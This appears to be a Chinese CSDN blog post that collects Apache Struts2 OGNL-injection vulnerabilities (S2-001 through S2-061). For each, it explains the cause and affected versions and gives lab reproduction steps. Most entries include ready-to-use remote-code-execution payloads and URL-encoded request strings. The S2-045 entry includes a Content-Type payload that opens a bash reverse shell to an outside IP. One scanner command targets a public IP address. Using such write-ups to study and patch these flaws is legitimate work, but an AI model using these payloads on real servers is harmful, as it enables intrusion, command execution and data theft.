Strust2漏洞汇总

本文详细介绍了Apache Struts2框架中的多个严重安全漏洞,包括S2-001到S2-059061,涉及OGNL表达式解析、命令执行、参数验证等方面。通过复现这些漏洞,展示了攻击者如何利用不恰当的配置和过滤机制执行任意命令,影响版本广泛,提醒开发者关注并修复相关漏洞以保障系统安全。
摘要由CSDN通过智能技术生成

本文所涉及的复现环境均可在vulhub上复现
文章包含了绝大部分漏洞,少部分未总结

S2-001:

原理:

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

影响版本:

Struts 2.0.0 - Struts 2.0.8

复现:

启动环境:
在这里插入图片描述
该漏洞原理以及很清楚了,就是因为用户提交形如%{value}的参数值会被解析并且返回到前端,所以我们可以利用该解析达到RCE的效果

测试一下:
在这里插入图片描述
发现被解析。可以使用如下命令:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}  //获取tomcat路径
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} //RCE whoami

几张效果图:
cmd: ls
在这里插入图片描述

S2-003

原理:

Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

影响版本:

影响版本: 2.0.0 - 2.0.11.2

POC

RCE的POC:


http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

S2-005

原理:

该漏洞原理和S2 003一样,S2是003由于#引起的,因此官方在这个更新钟,仅仅是将进行#过滤防止引发安全问题,但是#依然可以通过编码的形式进行绕过

影响版本:

2.0.0 - 2.1.8.1

漏洞复现:

这里使用K8的工具进行复现即可:
检测

在这里插入图片描述
RCE:
在这里插入图片描述

S2-007:

原理:

简单来讲:S2-007的漏洞是当提交表单中变量的类型出现错误时,进行了错误的字符串拼接,后端会执行OGNL表达式

严肃点讲:
S2-007漏洞一般出现在表单处。当配置了验证规则 -validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似单引号拼接的方式即可注入任意 OGNL 表达式。 //这里的重点是验证类型出错,记住是验证类型出错才会导致。

具体来看看什么叫验证类型出错:
UserAction:

public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;
  

xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

这个时候如果我们提交age为非整形的话,就会出现报错,那么拼接报错语句,通过执行OGNL从而达到RCE的目的

影响版本:

2.0.0 - 2.2.3

POC:

’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream())) + ’
## exec()跟上cmd

注意:这里POC传入的时候需要二次编码
二次编码后的结果:

%27+%2b+(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()))+%2b+%27

复现:

在这里插入图片描述

S2-008:

原理:

简单来讲:主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式

影响版本:

Struts 2.1.0 - Struts 2.3.1

复现:

POC(cmd自己更换就好):

ip:port/devmode.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23cmd=%22ls%22,%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[100],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))

在这里插入图片描述

S2-009

原理:

OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
在S2-003和S2-005中已经解决了类似的行为,但事实证明,基于列入可接受的参数名称的结果修复仅部分地关闭了该漏洞。
ParametersInterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,OGNL将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

影响版本:

2.0.0-2.3.1

复现:

这里可以使用工具扫描:

python Struts2Scan.py -u http://106.54.169.132:8080

这里使用官方提供的包进行复现(vulhub可以直接下载):
首先找到路径
在这里插入图片描述
存在传参的地方在/ajax/example5.action这里

POC:

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

再说一下 只要存在传参点就可以打

在这里插入图片描述

S2-013:

原理:

struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性,可以设置成如下值

none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数

当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行

影响版本:

2.0.0.0-2.3.14

复现:

这里可以使用K8工具复现,也可以直接手打复现:
POC:

link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

在这里插入图片描述

S2-015:

原理:

如果一个请求与任何其他定义的操作不匹配,它将被匹配,*并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码

影响版本:

2.0.0 - 2.3.14.2

POC:

复现:

环境搭建随便点击业务发现:
在这里插入图片描述

随便传一个action:
在这里插入图片描述找到漏洞点,上POC:

yourip+port/${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

值得一提的是,这里需要进行二次url编码然后传参
在这里插入图片描述

S2-016:(很重要)

原理:

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

影响版本:

非常广 2.0.0 – Struts 2.3.15

POC:

${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

需要进行二次编码:

%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22uname+-a%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d

复现:

原理已经说的很清楚了,就是因为以action或者redirect作为重定向或者导向时可跟OGNL表达式,从而RCE,基本特征就是以.action或者.redirect结尾,可以批量,我随便看了下,这洞太久远了,2013年的,肯定还是存在漏洞的,只是少了
在这里插入图片描述

S2-032:

原理:

在配置了 Struts2 DMI 为 True 的情况下,可以使用 method:name Action 前缀去调用声明为 public 的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI 的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。所以只要找到目标应用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可。
比如这样的ognl 表达式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通过反射调用(关于java的反射调用可以参考之前的一篇文章Link)Runtime类的exec方法进行命令执行,这里是打开计算器的操作。
//这一块存在动态函数的调用,建议想要深入了解的同学可以调试一下代码看看

影响版本:

Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

复现

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:name的方式来调用名字是name的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

在这里插入图片描述

S2-045:

原理:

很有趣的一个洞:通过Content-Type这个header头,注入OGNL语言,进而执行命令。漏洞的点在于,由于Strus2对错误消息处理时,出现了纰漏。
网上说需要在上传文件的时候content-type才可以被解析,也有说只需要模拟上传就可以。包含multipart/form-data字符串即可。我在本地进行测试的时候只在上传的时候才解析成功。

影响版本:

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

复现:

在上传的时候抓包,更改content-type即可

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

测试:
在这里插入图片描述反弹shell:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "bash -i >&/dev/tcp/192.168.137.129/6666 0>&1"|bash').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

S2-046:

原理:

同S2-045一样,只不过字段发生了变化,这里的参数是filename。

影响版本:

Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

复现:

个人建议这里直接使用工具就好了,直接去复现的化也可以,也就是改filename,然后00阶段即可

在这里插入图片描述

S2-048:

原理:

将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action 构造payload

影响版本:

2.0.0 - 2.3.32
这个漏洞影响很小,了解一下就好。

复现:

因为不是很广切利用条件太苛刻,直接上工具吧
在这里插入图片描述工具的话,感觉有点鸡肋,因为光一个IP的化还是不行的,可惜这个工具不能自带爬虫,或许结合xray+red+工具更好一点

S2-053:

原理:

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

影响版本:

Affected Version: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

漏洞复现:

原理说的很通俗了,就是由于数据被进行二次解析从而可以RCE导致

在这里插入图片描述
EXP:
···
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{’/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

// cmd=‘whoami’ 命令自行替换即可
···

值得注意的是,这里需要换行才能RCE,最后一定要换行
在这里插入图片描述

S2-057:

原理:

DefaultActionMapper调用parseNameAndNamespace()解析namespace和name。当alwaysSelectFullNamespace为true时,namespace的值可以通过uri控制

影响版本:

Affected Version: <= Struts 2.3.34, Struts 2.5.16

评价:

工具直接复现就好

S2-059 061:

原理:

Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行,都很弱鸡,利用条件苛刻

<s:url var="url" namespace="/employee" action="list"/><s:a id="%{payload}" href="%{url}">List available Employees</s:a>

影响版本:

Struts 2.0.0 - Struts 2.5.20

复现:

因为这里是传入的标签属性值进行了解析,所以只要值可控,传入适当的PLAYLOAD即可RCE

在这里插入图片描述简单测试一下:
?id=%25{2*2}在这里插入图片描述
评价:此次漏洞需要开启altSyntax功能,只能是在标签id属性中存在表达式,并且参数还可以控制,这种场景在实际开发中非常少见,危害较小。

总结:

复现了这么多洞,基本上都是由于配置解析的问题,真正意义上的反序列化倒没有存在很多问题,大部分是由于配置不当或者组件问题造成的,批量的话,也就s2-016要多一点。多了解一点总不是坏事。以上有讲解错误的地方,欢迎师傅们指出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值